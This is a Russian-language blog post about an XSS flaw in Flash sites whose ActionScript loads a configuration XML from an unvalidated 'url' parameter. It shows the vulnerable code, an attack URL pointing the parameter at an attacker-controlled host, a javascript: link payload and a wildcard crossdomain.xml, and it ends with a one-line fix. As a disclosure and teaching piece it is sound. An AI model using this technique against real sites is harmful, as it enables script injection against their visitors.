XSS в загрузке XML на Flash сайтах


XSS в xml.load ActionScript

Большое количество Flash сайтов, которые используют в своей конфигурации XML файлы,
xss flash xmlподвержены XSS, и связанно это с загрузкой этих самых XML файлов.

Почему так происходит?

Хороший вопрос, но задавать я его себе не хочу, потому как ответа на него не знаю.

Мой последний флэш сайт был создан очень давно, и целью его создания была сдача курсовой работы по ActionScript.

В настоящее время Flash технологиями интересуюсь косвенно, и в большей степени стараюсь их рассматривать с позиции безопасности, а она почему-то оставляет желать лучшего.

Ну да ладно, обо всем по порядку.

Многие Flash приложения для динамической загрузки данных используют различные .xml, .txt (и не только) файлы, в которых структурировано храниться вся необходимая Flash приложению информация.

Большую часть флеш приложений, которые загружают xml файлы составляют сайты.

Структура среднестатистических Flash сайтов имеет следующий вид:

1. Swf движок (ядро) сайта
2. Все возможные xml, txt и прочие файлы, которые использует swf движок
3. Html страница которая подключает swf движок (различные JS) и служит для отображения содержимого сайта.

Swf ядро сайта написано на ActionScript и обычно располагается на том же домене, что и сам сайт. Чаще всего в корне, или в других директориях, пути к которым можно посмотреть в исходном коде самой html страницы.

Так если в урле открыть site.com/core.swf, то можно увидеть точную копию Flash сайта.

После этого можно заглянуть на огонек в исходный код core.swf с помощью любого декомпилятора.

Лично мне больше по душе Flash Decompiler Trillix, который позволяет не только декомпилировать, но и экспортировать swf в fla.

Что в свою очередь дает возможность внести изменения (поставить заплатки) в исходный код ActionScript, и скомпилировать fla обратно в swf для дальнейшего тестирования.

Приведу пример загрузки конфигурационного XML файла, который был обнаружен сегодня на одном достаточно солидном Flash сайте:

stop();
//куча других не очень интересных функций
if (!url)
{
url = "configure.xml";
}
XML.prototype.ignoreWhite = True;
var data_xml = new XML();
data_xml.onLoad = function (success)
{
if (!success)
{
return;
}
}
;
var __callResult_63 = data_xml.load(url);

Этого кода достаточно для того, чтобы сайт корректно загружал и отображал содержимое configure.xml на веб странице, однако есть тут один ньюанс.

Если на удаленном хосте создать аналог файла configure.xml, но только со своим содержимым, и сделать ссылку вида:

sites.com/core.swf?url=http://otherdomain.com/configure.xml

то при переходе по такой ссылке, все содержимое (контент) сайта будет браться с otherdomain/configure.xml и мы увидим совершенно другой сайт, а именно тот, который создан нами в configure.xml

crossdomain.xml xss flash

Для выполнения JS достаточно изменить содержимое линков, добавив в атрибут:
<a href="javascript:alert(document.domain)">любая ссылка на сайте<a>.

Этого будет достаточно для выполнения JS в контексте уязвимого домена, что, как ни крути,  XSS.

Как пофиксить багу?

Здесь конечно можно предположить большое количество различных вариантов, вплоть до регулярных выражений в .htaccess, но дабы не изобретать велосипед в контексте данного кода конкретного сайта, достаточно добавить всего лишь одну строчку в ActionScript (очевидно кодописатель не догадывался о таком экзотическом пентесте):

var url = "http://sites.com/configure.xml";
stop();
//куча других не очень интересных функций

Все! Админы могут спать спокойно.. :)

Банальное присвоение значения по умолчанию переменной url перед использованием в вышеописанном коде, могло в очередной раз спасти отцов русской демократии. 😀

P.S. Да и еще один очень важный нюанс. Для подключения xml файлов с другого домена, в корневом каталоге удаленного хоста необходимо разместить файл crossdomain.xml вот с таким содержанием:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

Будет работать и без первой строки, поэтому тут, как говорится: на любителя.

з.ы. На этой познавательно-позитивной нотке, я пожалуй закончу этот пост, и пожелаю своим читателям бодрости духа, и осознания того, что в жизни главное не лениться, захотел поспать — поспи, а написал код — проверь, не жди пока за тебя это сделают другие. 😉